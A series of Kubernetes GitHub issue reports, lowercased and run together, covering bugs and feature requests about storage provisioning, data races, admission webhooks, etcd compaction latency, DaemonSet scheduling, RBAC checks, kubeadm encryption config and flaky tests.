uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r when creating a rbd storageclass without explicitly setting the  adminid  parameter and later removing a pvc, the corresponding pv goes into failed state.\r relevant logs are:\r    \r {\ log\ :\ e0715 08:16:20.765812       1 rbd_util.go:402  failed to delete rbd image: exit status 1, command output: 2017-07-15 08:16:20.660590 7f77606bc780 -1 did not load config file, using default settings.\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-07-15t08:16:20.766155923z\ }\r {\ log\ :\ 2017-07-15 08:16:20.669339 7f77606bc780  0 librados: client. authentication error  1  operation not permitted\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-07-15t08:16:20.766175648z\ }\r {\ log\ :\ rbd: couldn't connect to the cluster!\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-07-15t08:16:20.766182457z\ }\r    \r \r after looking at the code, i see that default value for  adminid   which is \ admin\  as is stated in the  documentation  https://kubernetes.io/docs/concepts/storage/persistent-volumes/ ceph-rbd   is only  checked when provisioning a volume  https://github.com/kubernetes/kubernetes/blob/release-1.7/pkg/volume/rbd/rbd.go l308 . however when deleting a volume,  there is no check  https://github.com/kubernetes/kubernetes/blob/release-1.7/pkg/volume/rbd/rbd.go l202 . the value is empty, that explains the  client.  part of the log, usually this is  client.admin \r \r   what you expected to happen  :\r the volume to get released and deleted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:

 \r \r \r   what happened  :\r crdstoragemap read write in  removedeadstorage \r https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiextensions-apiserver/pkg/apiserver/customresource_handler.go l268\r \r and \r  updatecustomresourcedefinition  \r https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiextensions-apiserver/pkg/apiserver/customresource_handler.go l448~ l453\r \r have data race when multiple threads run it. because in  removedeadstorage  the operate on  crdstoragemap   is without lock.\r \r

 \r   what happened  : validatingadmissionwebhook was configured to listen to creates and updates on apps/v1 deployments. a submitted apps/v1 deployment was not passed through to the web hook.\r \r   what you expected to happen  : i expect admissioncontrol to send the apps/v1 deployment to admission control.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a validatingadmissionwebhook with the following rule and pass it to a web hook that will reject all deployments.\r \r    \r   rules:\r   - apigroups:\r     - apps\r     apiversions:\r     - v1\r     operations:\r     - create\r     - update\r     resources:\r     - deployments\r    \r \r use  kubectl create -f  to create a deployment with  apiversion: apps/v1  specified. the deployment will not pass to the web hook and will be allowed.\r \r simply altering this to listen for  extensions/v1beta1  deployments will result in a rejected call.\r \r   anything else we need to know?  :\r \r i discovered this while running into  62402 \r \r   environment  :\r - 1.9.x\r - bare metal\r - centos 7

please link to this issue or comment on this issue with known errata for the 1.11.x release. this follows what we have done for prior releases.\r \r we will be populating the \ known issues\  section of 1.11.0 and above release notes based on this issue\r \r   cc: @jberkus, @nickchase, @marpaia, @kubernetes/kubernetes-release-managers

versions:  \r kubernetes version: v1.9\r etcd server version: v3.3.8\r grpc client version: v1.7.5\r etcd client version: v3.2.13\r \r   cluster scale:  \r 167k pods, 5k nodes, 5 master nodes\r \r   the api load on one master node:   \r delete pods: 56/s\r put pods: 66/s\r patch nodes: 158/s\r list nodes  hit to etcd : 1/s\r list all pods with fieldselector nodename   hit to etcd : 1/s\r ! img_20180731_093953  https://user-images.githubusercontent.com/22782254/43433272-323524ec-94a9-11e8-9cea-02e237df2bbf.png \r <img width=\ 1403\  alt=\ screen shot 2018-07-30 at 11 55 40 pm\  src=\ https://user-images.githubusercontent.com/22782254/43408505-2395be24-9454-11e8-9af3-232c6b00db8f.png\ >\r from this dashboard, it shows spikes every five minutes. from the etcd logs, its the similar timestamp with etcd compact. and also the compact took a lot of time under this load, and compact about 330000 revision each time.\r    \r 2018-07-30 15:51:51.565150 i | mvcc: finished scheduled compaction at 3189063539  took 38.24535265s \r    \r off that one list all pods load, the compact time is about 10+s.\r also found the db sync time is very large.\r <img width=\ 348\  alt=\ screen shot 2018-07-31 at 12 03 03 am\  src=\ https://user-images.githubusercontent.com/22782254/43408989-385d63ba-9455-11e8-86e0-1955483f796d.png\ >\r \r compared with using etcd 3.1.9, with the same load, compact time is only about 10+s, off that one list all pods load, the compact time is about 5~6s. meanwhile the db sync latency is only about 170ms.

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  : \r - daemonset without any node tolerations scheduled on suitable nodes. specifically _not_ scheduled on nodes with the below taint:\r       \r     taints:\r     - effect: noschedule\r       key: key\r       value: core\r        \r - gke node upgrade was triggered\r - pod ended up scheduled on a node with the above taint\r - daemonset status:\r       \r    desired number of nodes scheduled: 2\r    current number of nodes scheduled: 2\r    number of nodes scheduled with up-to-date pods: 2\r    number of nodes scheduled with available pods: 2\r    number of nodes misscheduled: 1\r    pods status:  3 running / 0 waiting / 0 succeeded / 0 failed\r       \r \r possibly related: the node that the pod was incorrectly scheduled on was a brand new gce instance running  1.11.2   previous nodes were on  1.10.9    creation time:  nov 15, 2018, 3:41:59 pm  ; however the node has the same id as a previous node in the cluster, and kubernetes recognises the node as being 13 days old  despite it only being created hours ago \r \r   what you expected to happen  :\r daemonset pods should not have been scheduled on nodes with the  no_schedule  taint, as the daemonset does _not_ have any tolerations\r \r   how to reproduce it  as minimally and precisely as possible   :\r unable to replicate at this point\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.2\r - cloud provider or hardware configuration: gcp/gke\r - os  e.g. from /etc/os-release : google cos\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r aws has announced tls termination for network load balancers: https://aws.amazon.com/blogs/aws/new-tls-termination-for-network-load-balancers/\r \r it would be amazing if kuberentes could support this! the annotations are all defined, we would need to hook up the cloud provisioner.\r \r    yaml\r service.beta.kubernetes.io/aws-load-balancer-type: nlb\r service.beta.kubernetes.io/aws-load-balancer-ssl-cert:  arn:... \r    \r \r   why is this needed  :\r \r acm can only be used with aws load balancers, so supporting tls with nlbs means we will be able to leverage acm and support http2 and websockets without using alb-ingress. this would resolve my need for albs in kubernetes: https://github.com/kubernetes/kubernetes/issues/30518. for example it would make running nginx-ingress with http2 and websocket support possible with acm.

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r    \r > kubectl auth can-i list namespaces --as=system:serviceaccount:jx:jtnord\r yes\r \r > kubectl get namespaces --as=system:serviceaccount:jx:jtnord\r error from server  forbidden : namespaces is forbidden: user \ system:serviceaccount:jx:jtnord\  cannot list resource \ namespaces\  in api group \ \  at the cluster scope\r    \r \r \r \r \r   what you expected to happen  :\r \r if  auth can-i  returns true i expect to be able to perform the action without issue.\r \r note in this case my service user has a rolebinding in a single namespace  and that is also what my kubecontext is set to.   if i change my default to a different namespace then the command returns false\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   create a namespace  test \r   create a service account in that namespace\r   create a role that gives get list and watch permissions to\r    \r apiversion: rbac.authorization.k8s.io/v1\r kind: role\r metadata:\r   annotations:\r     description: yada yada\r     title: myrole\r   name: myrole\r   namespace: test\r rules:\r - apigroups:\r   - \ \ \r   resources:\r   - ' '\r   verbs:\r   - list\r   - get\r   - watch\r - apigroups:\r   - extensions\r   - apps\r   - rbac.authorization.k8s.io\r   - batch\r   resources:\r   - ' '\r   verbs:\r   - list\r   - get\r   - watch\r    \r   create a rolebinding from that role to the service account.\r \r   anything else we need to know?  :\r \r this is special because namespaces are not scoped to a namespace.\r \r if you replace the command with\r  kubectl auth can-i list namespaces --all-namespaces --as=system:serviceaccount:jx:jtnord \r then you get the exepcted result  no - no rbac policy matched   however this breaks the path of least suprise.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.0\ , gitcommit:\ ddf47ac13c1a9483ea035a79cd7c10005ff21a6d\ , gittreestate:\ clean\ , builddate:\ 2018-12-03t21:04:45z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.5-gke.5\ , gitcommit:\ 2c44750044d8aeeb6b51386ddb9c274ff0beb50b\ , gittreestate:\ clean\ , builddate:\ 2019-02-01t23:53:25z\ , goversion:\ go1.10.8b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r gke\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

we currently depend on 2 semver libraries: - https://github.com/coreos/go-semver - https://github.com/blang/semver      console $ git grep \ github.com/. semver\  pkg test pkg/kubelet/dockertools/manager.go:     \ github.com/coreos/go-semver/semver\  pkg/kubelet/rkt/version.go:     \ github.com/coreos/go-semver/semver\  pkg/proxy/iptables/proxier.go:  \ github.com/coreos/go-semver/semver\  pkg/util/iptables/iptables.go:  \ github.com/coreos/go-semver/semver\  pkg/version/semver.go:  \ github.com/blang/semver\  test/e2e/util.go:       \ github.com/blang/semver\       i'm not sure which library is better, but we should probably agree on one for consistency.

hello, is ldap authentication plugin envisioned for user accounts authentication?

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : deployment delete acl error message  ---    is this a bug report or feature request?    choose one : bug report  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  : v1.3.5    environment  : -   cloud provider or hardware configuration  : aws -   os    e.g. from /etc/os-release : coreos 899.1.0 -   kernel    e.g.  uname -a  :  linux ip-10-20-8-136.ec2.internal 4.3.3-coreos  2 smp thu dec 17 23:57:55 utc 2015 x86_64 intel r  xeon r  cpu e5-2676 v3 @ 2.40ghz genuineintel gnu/linux  -   install tools  : cloudformation/ansible -   others  :    what happened  : using kubectl to delete a deployment that is not allowed by acl blocks for a long time, and eventually prints an unhelpful  timed out waiting for the condition . running it with  --v=8  shows a lot of  put  requests being sent repeatedly and getting 403 forbidden in response.    what you expected to happen  : kubectl should print an error message clearly indicating that this action is not allowed on the first 403.    how to reproduce it    as minimally and precisely as possible : 1. create a deployment 1. create acl  abac or rbac  to disallow deleting deployments, but allow reads. 2.  kubectl delete deployment <foo>  3. after a few minutes, kubectl prints  error: timed out waiting for the condition  and exits.    anything else do we need to know  :

this issue comes from  this discussion  https://groups.google.com/forum/?utm_medium=email&utm_source=footer !msg/kubernetes-dev/acual0dzzvi/2d6amz9lcgaj . basically we need to clean all  pkg/apis/  directories to contain only code relevant to this api types and nothing more. this would eliminate the need for api-reviewers to look into small changes that do not require their attention.

we are using  filter  to filter images when listing. \r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/dockershim/docker_image.go l32\r https://github.com/kubernetes/kubernetes/blob/master/vendor/github.com/docker/engine-api/client/image_list.go l26\r \r however, when @xlgao-zju works on cri-tools, he found that the behavior of this filter is different between docker 1.12 and 1.13. if we use image digest to filter an image, the image will be included in docker 1.13 but not 1.12.\r \r after checking the code, i found that the behavior seems to be changed between these 2 versions:\r   docker 1.12: https://github.com/docker/docker/blob/1.12.x/daemon/images.go l139-l153\r   docker 1.13: https://github.com/docker/docker/blob/1.13.x/daemon/images.go l133-l153\r \r and the filter is going to be deprecated. https://github.com/docker/docker/blob/master/api/server/router/image/image_routes.go l257\r \r actually, we are not using this field in kubelet. anyhow, filed this issue to track this just in case we miss it.\r \r @yujuhong @feiskyer @xlgao-zju @kubernetes/sig-node-bugs \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i want to set up kubernetes cluster by kubeadm with encrypted etcd https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/ .\r so, i use following config file, and i ran the following command,\r    \r kubeadm init --kubeconfig=kubeadm-conf.yaml\r    \r \r kubeadm-conf.yaml\r    \r apiversion: kubeadm.k8s.io/v1alpha1\r kind: masterconfiguration\r api:\r   advertiseaddress: <my-ip-address>\r etcd:\r   endpoints:\r   - http://<my-ip-address>:2379\r networking:\r   podsubnet: 10.244.0.0/16\r token: <my-token>\r tokenttl: \ 0\ \r apiserverextraargs:\r   experimental-encryption-provider-config: /etc/kubernetes/enc-conf.yaml\r    \r \r /etc/kubernetes/enc-conf.yaml\r    \r kind: encryptionconfig\r apiversion: v1\r resources:\r   - resources:\r     - secrets\r     providers:\r     - aescbc:\r         keys:\r         - name: key1\r           secret: bwl5b3noas10zxn0ltiwmtcxmdexmdawmdawmdawmda=\r     - identity: {}\r    \r \r but, kube-apiserver didn't run.\r \\  i can setup kubernetes cluster by kubeadm without experimental-encryption-provider-config flag.\r \r this is log message of kubeadm init command.\r    \r  kubeadm  warning: kubeadm is in beta, please do not use it for production clusters.\r  init  using kubernetes version: v1.8.1\r  init  using authorization modes:  node rbac \r  preflight  running pre-flight checks\r  preflight  starting the kubelet service\r  kubeadm  warning: starting in 1.8, tokens expire after 24 hours by default  if you require a non-expiring token use --token-ttl 0 \r  certificates  generated ca certificate and key.\r  certificates  generated apiserver certificate and key.\r  certificates  apiserver serving cert is signed for dns names  miyoshi-dev.fcxlocal kubernetes kubernetes.default kubernetes.default.svc kubernetes.default.svc.cluster.local  and ips  10.96.0.1 <my-ip> \r  certificates  generated apiserver-kubelet-client certificate and key.\r  certificates  generated sa key and public key.\r  certificates  generated front-proxy-ca certificate and key.\r  certificates  generated front-proxy-client certificate and key.\r  certificates  valid certificates and keys now exist in \ /etc/kubernetes/pki\ \r  kubeconfig  wrote kubeconfig file to disk: \ admin.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ kubelet.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ controller-manager.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ scheduler.conf\ \r  controlplane  wrote static pod manifest for component kube-apiserver to \ /etc/kubernetes/manifests/kube-apiserver.yaml\ \r  controlplane  wrote static pod manifest for component kube-controller-manager to \ /etc/kubernetes/manifests/kube-controller-manager.yaml\ \r  controlplane  wrote static pod manifest for component kube-scheduler to \ /etc/kubernetes/manifests/kube-scheduler.yaml\ \r  init  waiting for the kubelet to boot up the control plane as static pods from directory \ /etc/kubernetes/manifests\ \r  init  this often takes around a minute; or longer if the control plane images have to be pulled.\r \r unfortunately, an error has occurred:\r         timed out waiting for the condition\r \r this error is likely caused by that:\r         - the kubelet is not running\r         - the kubelet is unhealthy due to a misconfiguration of the node in some way  required cgroups disabled \r         - there is no internet connection; so the kubelet can't pull the following control plane images:\r                 - gcr.io/google_containers/kube-apiserver-amd64:v1.8.1\r                 - gcr.io/google_containers/kube-controller-manager-amd64:v1.8.1\r                 - gcr.io/google_containers/kube-scheduler-amd64:v1.8.1\r \r you can troubleshoot this for example with the following commands if you're on a systemd-powered system:\r         - 'systemctl status kubelet'\r         - 'journalctl -xeu kubelet'\r couldn't initialize a kubernetes cluster\r    \r \r \r   what you expected to happen  :\r setup kubernetes cluster with exporimental-encryption-provider-config flag\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release : centos 7.4.1708\r - kernel  e.g.  uname -a  : 3.10.0-693.2.2.el7.x86_64\r - install tools: kubeadm version: 1.8.0\r - others:\r

having a grpc client, how do you use routing in kubernetes ingress?\r \r my grpc server is at this local path 10.0.1.6/hw.\r \r it is running and listening in a kubernetes pod and it is working internally, if i run it in a pod. \r but i am now accessing it via url and ingress.\r \r but how do i test that it actually is working with the routing without a port number?\r \r    \r const  \r     address     = \ 10.0.1.6:80/hw\ \r     defaultname = \ world\ \r  \r \r var  \r     conn  grpc.clientconn\r     c    pb.greeterclient\r  \r \r func setuprpc   {\r \r     var err error\r     conn, err = grpc.dial address, grpc.withinsecure   \r     c = pb.newgreeterclient conn \r     if err != nil {\r         log.fatalf \ did not connect: %v\ , err \r     }\r \r }\r    \r i get this error:\r \r    \r could not greet: rpc error: code = unavailable desc = all subconns are in transientfailure, latest connection error: connection error: desc = \ transport: error while dialing dial tcp: lookup tcp/80/hw: nodename nor servname provided, or not known\ \r do you know how? or how to test grpc endpoints?\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r retry  azure disk attach operation produce too many api calls\r not the default  cloudproviderbackoffretries  value is 6 which means if attachdisk operation failed, it will retry 6 more times, when disk quota is full on a vm, it produces too many api calls. retry attach disk behavior is not necessary since it attachvolume operation fails, k8s attachdetach-controller will retry once a minute until it succeeds.\r \r default setting in  /etc/kubernetes/azure.json \r    \r    \ cloudproviderbackoff\ : true,\r     \ cloudproviderbackoffretries\ : 6,\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10, v1.11, v1.12\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r   /assign

what happened  :\r i have a 8 node cluster and i have deployed different daemonsets in my cluster like node-exporter, fluentd, elasticsearch, etc but the desired pods is different for daemonsets. some have 3 desired pods and some have 8. below is the output of  kubectl get daemonset --all-namespaces \r \r ! image  https://user-images.githubusercontent.com/13013437/49926101-9de39c80-fedc-11e8-8361-875022bb557e.png \r \r   what you expected to happen  :\r all daemonsets should have fixed desired pods i.e 8\r \r   environment  :\r - kubernetes version: 1.10.8\r \r <!-- do not edit below this line -->\r 

<!-- \r stop -- please read!\r \r github is not the right place for support requests.\r \r if you're looking for help, check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r you can also post your question on the  kubernetes slack  http://slack.k8s.io/  or the  discuss kubernetes  https://discuss.kubernetes.io/  forum.\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r <!-- do not edit below this line -->\r \r in pkg/kubelet/cm/node_container_manager.go\r \r in func enforceexistingcgroup,it just check wheteher  kubelet group dir exist. why not create kubelet cgroup dir if  not exist in func enforceexistingcgroup?\r \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r the following unit test case is flakey\r \r    \r --- fail: testtranslatestubdomainkubednstocoredns  0.00s \r     --- pass: testtranslatestubdomainkubednstocoredns/valid_call_with_multiple_ips  0.00s \r     --- pass: testtranslatestubdomainkubednstocoredns/empty_call  0.00s \r     --- pass: testtranslatestubdomainkubednstocoredns/valid_call  0.00s \r     --- fail: testtranslatestubdomainkubednstocoredns/if_hostname_present:_omit_hostname  0.00s \r         dns_test.go:367: expected to find \ \     bar.com:53 {\        errors\        cache 30\        loop\        forward . 1.2.3.4:5300\     }\     \     my.cluster.local:53 {\        errors\        cache 30\        loop\        forward . 2.3.4.5\     }\  or \ \     my.cluster.local:53 {\        errors\        cache 30\        loop\        forward . 2.3.4.5\     }\     \     bar.com:53 {\        errors\        cache 30\        loop\        forward . 1.2.3.4:5300\     }\  in output: \ \     my.cluster.local:53 {\        errors\        cache 30\        loop\        forward . 2.3.4.5\     }\ \r     --- pass: testtranslatestubdomainkubednstocoredns/all_hostname:_return_empty  0.00s \r     --- pass: testtranslatestubdomainkubednstocoredns/missing_stubdomains  0.00s \r fail\r fail\tk8s.io/kubernetes/cmd/kubeadm/app/phases/addons/dns\t0.014s\r    \r \r   what you expected to happen  :\r \r testcase should pass.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run the testcase for 20 times, you will see failures couple of times.\r \r    \r make check what=./cmd/kubeadm/app/phases/addons/dns goflags=\ -count=20 -v\  kube_test_args='-run ^testtranslatestubdomainkubednstocoredns$'\r    \r \r   test failure history  :\r https://k8s-testgrid.appspot.com/sig-node-ppc64le unit-tests

\r executing tests from //staging/src/k8s.io/apiserver/pkg/storage/cacher:go_default_test\r -----------------------------------------------------------------------------\r ==================\r warning: data race\r read at 0x00c00016a238 by goroutine 35:\r   k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/cacher.  cacher .dispatchevent  \r       staging/src/k8s.io/apiserver/pkg/storage/cacher/cacher.go:792 +0xb1\r   k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/cacher.testdispatchingbookmarkeventswithconcurrentstop.func1  \r       staging/src/k8s.io/apiserver/pkg/storage/cacher/cacher_whitebox_test.go:681 +0x42\r \r previous write at 0x00c00016a238 by goroutine 39:\r   k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/cacher.  cacher .startdispatching  \r       staging/src/k8s.io/apiserver/pkg/storage/cacher/cacher.go:833 +0x121\r   k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/cacher.  cacher .dispatchevent  \r       staging/src/k8s.io/apiserver/pkg/storage/cacher/cacher.go:786 +0x46\r   k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/cacher.testdispatchingbookmarkeventswithconcurrentstop.func1  \r       staging/src/k8s.io/apiserver/pkg/storage/cacher/cacher_whitebox_test.go:681 +0x42\r \r goroutine 35  running  created at:\r   k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/cacher.testdispatchingbookmarkeventswithconcurrentstop  \r       staging/src/k8s.io/apiserver/pkg/storage/cacher/cacher_whitebox_test.go:680 +0x88b\r   testing.trunner  \r       goroot/src/testing/testing.go:865 +0x163\r \r goroutine 39  finished  created at:\r   k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/cacher.testdispatchingbookmarkeventswithconcurrentstop  \r       staging/src/k8s.io/apiserver/pkg/storage/cacher/cacher_whitebox_test.go:680 +0x88b\r   testing.trunner  \r       goroot/src/testing/testing.go:865 +0x163\r ==================\r --- fail: testdispatchingbookmarkeventswithconcurrentstop  0.61s \r     testing.go:809: race detected during execution of test\r    \r \r cc @wojtek-t \r \r ref  73958

the podsecuritypolicy object was merged by @pweil- in  7893.\r \r that defined a new type,  https://github.com/kubernetes/kubernetes/blob/master/pkg/apis/extensions/v1beta1/types.go l919 , a registry, kubectl support, and a client.  \r \r we still need to:\r -  x  expose the extension by default, and generate the docs for it.\r -  x  write code that decides whether a pod create/update is allowed by any maching psp.  assume this exists downstream in openshift. \r -  x  decide on a way to determine which type applies to which requests; that is, something to bind request attributes, like user, groups, namespace, with the psps that apply to that pod.\r -  x  write admission controller code that does the previous two things and says yes or no to pod creates/updates.\r -     define behavior when multiple podsecuritypolicy objects allow a pod -  52849\r -     define a way for policy authors to affect which psp is selected when multiple podsecuritypolicy objects allow a pod -  52849

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial-release-1.5/89/  failed:  k8s.io  network partition  disruptive   slow   k8s.io   statefulset  should not reschedule pets if there is a network partition  slow   disruptive  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network_partition.go:433 nov 30 07:50:03.716: node bootstrap-e2e-minion-group-401f did not become ready within 2m0s /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network_partition.go:428

this issue is found when working on  39906. this is a different issue from  39906. it affects all 1.5.x and master.\r \r the error message is\r    \r error: unable to decode \ ../pkiobj.json\ : no kind \ pki\  is registered for version \ box-pki.com/v1\ \r    \r \r  kubectl apply  and  edit  are broken for tpr in branch 1.5 and master.\r the reason is the function call of   decode     https://github.com/kubernetes/kubernetes/blob/c1ecedf44d1903b823f5e5274de000b4be09d17c/pkg/kubectl/resource/mapper.go l52 . it fails to decode the data.\r \r \r   anything else do we need to know  :\r 1.4.7 is working, but 1.4.8 is not, because of  39396.\r similar patch  38982 has been introduced in 1.5.2, but both 1.5.1 and 1.5.2 are broken for tpr.  apply  fails without even reaching the code introduced in  38982. \r \r @liggitt @deads2k @pwittrock @kubernetes/sig-cli-misc

kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :\r gke\r \r \r   what happened  :\r \r we create pvc via dynamic provisioning  storage class  on gce.\r    \r apiversion: storage.k8s.io/v1beta1\r kind: storageclass\r ...\r provisioner: kubernetes.io/gce-pd\r    \r    \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   annotations:\r     volume.beta.kubernetes.io/storage-class: etcd-backup-gce-pd\r     volume.beta.kubernetes.io/storage-provisioner: kubernetes.io/gce-pd\r   labels:\r     app: etcd\r     etcd_cluster: etcd-cluster-with-backup\r   name: etcd-cluster-with-backup-pvc\r spec:\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 512mi\r    \r \r the time from pvc is created to pvc is bound usually takes < 4s. sometimes this goes up > 20s.\r this is unpredictable, and very long.\r is this expected? is there expected p99 for this?\r \r   what you expected to happen  :\r i want to know p99 for the time pvc to be bound.\r \r   how to reproduce it    as minimally and precisely as possible :\r the process is quite simple.\r - create storage class of provisioner  kubernetes.io/gce-pd \r - repeat  have 4 concurrently \r   - create a pvc\r   - wait for pvc to be bound\r   - delete the pvc\r \r will see some wait time to be very long. i can provide a script if needed.\r \r

all the failures of this test are exactly the same - they are failing in this line:\r https://github.com/kubernetes/kubernetes/blob/release-1.7/test/e2e/storage/pd.go l452\r \r which means that what is failing is running:\r \ gcloud compute instances list\ \r \r this may block 1.7.2 release.\r \r @kubernetes/test-infra-maintainers @kubernetes/sig-storage-bugs @saad-ali

@dims @anguslees - while reading some cinder code, i came accross  this  https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/cinder/cinder.go l332 , we try to detach disk even if we didn't try to mount. is this call mandatory ?  from what i recall aws ebs do not have such mecanism  \r \r also ping @saad-ali

<!-- this form is for bug reports and feature requests only! \r dear forum.\r i am working with k8s 1.4 version. cluster configured with vsphere  cloud provider. \r i faced with issue that the cluster becoming \ frozen\   not active  if vcenter is unavailable more than 1 minute. the k8s cluster nodes got no-ready status. \r  all nodes   include master and worker nodes  are fully accessible and working despite of it.\r \r once the cluster vcenter back working the cluster  \ unfreezing\  and starting function immediately.\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r such behavior of cluster is not good especially if it running in production .\r \r is it  malfunction of k8s or bug?\r how do you recommend to handle this issue?\r \r thanks in advance\r   is this a bug report or feature request?  :\r bug \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

